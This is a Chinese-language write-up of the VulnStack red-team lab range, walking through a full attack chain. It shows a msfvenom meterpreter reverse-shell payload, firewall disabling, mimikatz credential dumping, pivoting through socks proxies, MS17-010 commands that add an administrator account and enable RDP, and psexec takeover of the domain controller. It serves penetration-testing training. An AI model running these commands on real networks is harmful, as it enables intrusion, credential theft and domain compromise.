【红日安全-VulnStack】ATT&CK实战系列——红队实战(—)
一、环境搭建
1.1 靶场下载
靶场下载地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 靶机通用密码： hongrisec@2019 登进去要修改密码，改为 HONGRISEC@20191.2 网卡配置
kali一个nat网卡，模拟外网攻击机 win7一个nat网卡，一个VMnet 1网卡，模拟web服务器二、外网渗透
nmap扫描，发现开放了80、3306端口三、内网渗透
3、1 尝试远程登录
查看当前用户权限，因为一般拿下window的话都会尝试去连接它的远程桌面，所以再查看一下3389端口开放情况3.2 msf反弹shell
使用msfvenom生成payload文件，使用蚁剑上传到win7 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.168.133 LHOST=4444 -f exe > shell.exe会生成一个文件，该文件可用来 再关闭远程桌面
run multi_console_command -r 文件地址3.3 使用隧道连接3389
尝试第二种方式连接3389，在Sunny-Ngrok的官网 https://www.ngrok.cc/ 注册一个账号（可以通过这个软件实现使用外链访问电脑本地项目的功能），登录之后选择隧道管理->开通隧道->选择一个服务器（frp或者ngrok）->开通隧道并获得一个隧道id->下载客户端->打开客户端启动工具->输入隧道id->本地远程登录。 开通隧道时隧道名称随意写，本地端口写想要转发出去的计算机ip及端口（可以为局域网内任意机器映射，这里填入想要转发的win7的ip及端口）打开Sunny-Ngrok启动工具，输入隧道id，显示成功连接
本地填入域名端口远程连接，可以成功登陆，关闭防火墙（Sunny-Ngrok启动工具需要一直开着） 使用netsh advfirewall set allprofiles state off来关闭防火墙因为远程登录会断开该主机当前的连接，为了不惊动管理员，这里不远程登录了
3.4使用mimikatz获取账号密码
方法一 蚁剑直接上传mimikatz方法二 meterpreter 加载mimikatz模块，加载模块前需要先将meterpreter迁移到64位的进程，而且该进程也需要是system权限运行的
migrate PID load mimikatz mimikatz_command -f sekurlsa::searchPasswordsps命令查看进程ID，一般选择explorer.exe对应的PID，但是这里它不是system权限，选择注入其他合法进程 成功获得账号 Administrator 密码 HONGRISEC@2019
3.5 派生Cobalt Strike权限
3.6 域信息收集
ipconfig /all看到有内网ip，有域
查询域列表 net view /domain
查询同域机器 net view
判断主域 net time /domain
查询域用户 net user /domain
查询当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS 名称、登录域 net config Workstation
四、横向移动
4.1 添加路由、挂socks4a代理
添加路由的目的是为了让MSF其他模块能访问内网的其他主机，即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递 添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务 （添加路由一定要在挂代理之前，因为代理需要用到路由功能）添加内网路由 run autoroute -s 192.168.52.0/24
arp -a查看一下所有接口的当前 ARP 缓存表
设置代理，设置成功后打开其他程序需在前面加上proxychains
meterpreter > background [*] Backgrounding session 1... msf5 exploit(multi/handler) > use auxiliary/server/socks4a msf5 auxiliary(server/socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf5 auxiliary(server/socks4a) > set SRVPORT 1080 SRVPORT => 1080 msf5 auxiliary(server/socks4a) > run [*] Auxiliary module running as background job 0. [*] Starting the socks4a proxy server然后打开/etc/proxychains.conf 测试一下可以成功访问192.168.52.0网段
4.2 拿下第二台主机
nmap扫描一下： 有防火墙（-PN、-sT必须加），具体我也不清楚为什么要-Pn -sT proxychains nmap -p 0-1000 -Pn -sT 192.168.52.141proxychains nmap -p 3389 -Pn -sT 192.168.52.141
proxychains nmap -Pn -sT 192.168.52.141
开放了445端口，所以利用 use auxiliary/scanner/smb/smb_version 可以扫描系统版本，扫描结果是win2003使用msf辅助模块进行扫描，查看是否存在ms17-010漏洞
三台机器都存在ms17-010 先看server2003这台主机 直接使用ms17-010打一个shell回来（这里要注意一下，msf内置的17-010打2003有时候多次执行后msf就接收不到session，而且ms17-010利用时，脆弱的server 2003非常容易蓝屏） 而且使用msf的代理之后就不能使用反向shell了，我们需要使用正向shell。 这里，我们可以先使用auxiliary/admin/smb/ms17_010_command来执行一些命令
use auxiliary/admin/smb/ms17_010_command show options set RHOSTS 192.168.52.141 set command net user Yokan !@#123qwe!@# /add #添加用户 run #成功执行 set command net localgroup administrators Yokan /add #管理员权限 run #成功执行 set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' run #成功执行
这里特别注意，因为开启3389端口命令中有两个双引号，如果整条命令外面不用单引号扩一下，会出现一些符号闭合上的问题
然后使用proxychains连接 proxychains rdesktop 192.168.52.141
然后使用exploit/windows/smb/ms17_010_psexec 尝试去打一个shell回来
正向shell因为是2003的机器，直接getsystem便得到了system权限
4.3 拿下域控
在前面我们已经拿到了域用户的帐号密码，即administrator、HONGRISEC@2019我们现在要做的就是如何登录到域控上去 定位到域控制器的ip为192.168.52.138 还是先利用smb扫描系统版本 auxiliary/scanner/smb/smb_version因为之前抓到了域管理的账号密码所以直接使用 exploit/windows/smb/psexec 模块拿下域控，且是管理员权限
参考： https://www.anquanke.com/post/id/189940#h2-3 https://soapffz.com/sec/558.html#menu_index_8